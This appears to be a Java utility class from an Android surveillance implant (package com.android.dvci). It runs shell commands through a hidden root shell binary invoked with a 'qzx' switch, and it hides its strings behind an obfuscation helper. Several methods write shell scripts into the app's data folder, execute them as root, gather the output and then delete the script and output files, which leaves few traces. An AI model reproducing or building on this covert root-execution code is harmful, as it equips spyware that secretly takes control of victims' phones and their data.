package com.android.dvci.util;
import android.app.ActivityManager;
import android.content.Context;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import com.android.dvci.Root;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.Configuration;
import com.android.dvci.file.AutoFile;
import com.android.dvci.file.Directory;
import com.android.mm.M;
public class Execute {
private static final String TAG = "Execute";
public static ExecuteResult executeRoot(String command) {
String cmdExpanded = Directory.expandMacro(command);
String[] cmd = null;
if (Status.haveRoot()) {
cmd = new String[] { Configuration.shellFile, M.e("qzx"), cmdExpanded };
if (Cfg.DEBUG) {
Check.log(TAG + " (executeRoot) " + cmdExpanded);
}
}
return execute(cmd);
}
public static ExecuteResult executeTimeout(String cmd, int timeout) {
String line = null;
// ArrayList<String> fullResponse = new ArrayList<String>();
ExecuteResult result = new ExecuteResult(cmd);
if (Cfg.DEBUG) {
Check.log(TAG + " (execute) executing: " + cmd); //$NON-NLS-1$
}
try {
final Process localProcess = Runtime.getRuntime().exec(cmd);
//
BufferedReader in = new BufferedReader(new InputStreamReader(localProcess.getInputStream()));
while ((line = in.readLine()) != null) {
result.stdout.add(line);
}
in.close();
Callable<Integer> call = new Callable<Integer>() {
public Integer call() throws Exception {
localProcess.waitFor();
return localProcess.exitValue();
}
};
ExecutorService service = Executors.newSingleThreadExecutor();
try {
Future<Integer> ft = service.submit(call);
try {
int exitVal = ft.get(timeout, TimeUnit.SECONDS);
result.exitCode = exitVal;
} catch (TimeoutException to) {
localProcess.destroy();
throw to;
}
} finally {
service.shutdown();
}
BufferedReader err = new BufferedReader(new InputStreamReader(localProcess.getErrorStream()));
while ((line = err.readLine()) != null) {
result.stderr.add(line);
}
err.close();
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (execute) Error: " + e);
}
}
return result;
}
public static ExecuteResult executeSimple(String cmd) {
String line = null;
Process localProcess = null;
ExecuteResult result = new ExecuteResult(cmd);
if (Cfg.DEBUG) {
Check.log(TAG + " (execute) executing: " + cmd ); //$NON-NLS-1$
}
try {
localProcess = Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
}
if (localProcess != null) {
try {
if (Cfg.DEBUG) {
Check.log(TAG + " (executeSimple): real class "+ localProcess.getClass());
}
result.exitCode = localProcess.waitFor();
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (executeSimple) Error: " + e);
}
}
}
return result;
}
public static ExecuteResult execute(String cmd) {
String line = null;
// ArrayList<String> fullResponse = new ArrayList<String>();
Process localProcess = null;
ExecuteResult result = new ExecuteResult(cmd);
if (Cfg.DEBUG) {
Check.log(TAG + " (execute) executing: " + cmd); //$NON-NLS-1$
}
try {
localProcess = Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
}
if (localProcess != null) {
try {
//
BufferedReader in = new BufferedReader(new InputStreamReader(localProcess.getInputStream()));
while ((line = in.readLine()) != null) {
result.stdout.add(line);
}
in.close();
result.exitCode = localProcess.waitFor();
BufferedReader err = new BufferedReader(new InputStreamReader(localProcess.getErrorStream()));
while ((line = err.readLine()) != null) {
result.stderr.add(line);
}
err.close();
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (execute) Error: " + e);
}
}
}
return result;
}
public static ExecuteResult execute(String[] cmd) {
String line = null;
// ArrayList<String> fullResponse = new ArrayList<String>();
Process localProcess = null;
String cmdFull = StringUtils.join(cmd, " ", 0);
ExecuteResult result = new ExecuteResult(cmdFull);
if (cmd == null){
return result;
}
if (Cfg.DEBUG) {
Check.log(TAG + " (execute) executing: " + cmdFull); //$NON-NLS-1$
}
try {
localProcess = Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
}
if (localProcess != null) {
try {
//
BufferedReader in = new BufferedReader(new InputStreamReader(localProcess.getInputStream()));
while ((line = in.readLine()) != null) {
result.stdout.add(line);
}
in.close();
result.exitCode = localProcess.waitFor();
BufferedReader err = new BufferedReader(new InputStreamReader(localProcess.getErrorStream()));
while ((line = err.readLine()) != null) {
result.stderr.add(line);
}
err.close();
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (execute) Error: " + e);
}
}
}
return result;
}
public static boolean executeWaitFor(String cmd) {
try {
Process localProcess = Runtime.getRuntime().exec(cmd);
localProcess.waitFor();
return true;
} catch (Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
return false;
}
}
public synchronized static boolean executeRootAndForgetScript(String cmd) {
String pack = Status.self().getAppContext().getPackageName();
String script = M.e("#!/system/bin/sh") + "\n" + cmd;
String filename = String.format(M.e("%s qzx /data/data/%s/files/e"), Configuration.shellFile, pack);
if (Root.createScript("e", script) == true) {
try {
Process localProcess = Runtime.getRuntime().exec(filename);
return true;
} catch (Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
}
}
return false;
}
public synchronized static ExecuteResult executeScript(String cmd) {
String pack = Status.self().getAppContext().getPackageName();
String script = M.e("#!/system/bin/sh") + "\n"
+ String.format(M.e("%s | tee /data/data/%s/files/o"), cmd, pack) + "\n";
ExecuteResult result = new ExecuteResult(cmd);
if (Root.createScript("e", script) == true) {
boolean res = Execute.executeWaitFor(String.format(M.e("%s qzx /data/data/%s/files/e"),
Configuration.shellFile, pack));
if (Cfg.DEBUG) {
Check.log(TAG + " (execute) execute script: "
+ String.format(M.e("%s qzx /data/data/%s/files/e"), Configuration.shellFile, pack) + " ret: "
+ res);
}
Root.removeScript("e");
AutoFile file = new AutoFile(String.format(M.e("/data/data/%s/files/o"), pack));
byte[] buffer = file.read();
if (buffer != null) {
String ret = new String(buffer);
for (String l : ret.split("\n")) {
result.stdout.add(l + "\n");
}
if (res) {
result.exitCode = 0;
}
}
file.delete();
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " ERROR: (execute), cannot create script");
}
}
return result;
}
public static void chmod(String mode, String file) {
execute(new String[]{Configuration.shellFile,"qzx","chmod " + mode +" "+ file} );
}
}